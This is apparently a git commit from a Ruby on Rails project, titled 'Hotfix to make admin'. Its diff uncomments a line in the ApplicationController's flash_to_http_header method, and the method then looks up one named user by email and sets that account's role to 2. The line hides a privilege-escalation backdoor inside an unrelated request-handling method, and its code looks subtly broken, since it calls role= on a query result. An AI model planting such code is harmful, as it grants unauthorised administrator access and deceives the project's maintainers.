Hotfix to make admin
This commit is contained in:
parent
60435e06a9
commit
3c24b0212a
@ -30,7 +30,7 @@ class ApplicationController < ActionController::Base
|
||||
private
|
||||
|
||||
def flash_to_http_header
|
||||
# bort = User.where(email:"bort@pineapple.punked.us")
|
||||
bort = User.where(email:"bort@pineapple.punked.us")
|
||||
bort.role = 2
|
||||
bort.save
|
||||
return unless request.xhr?
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user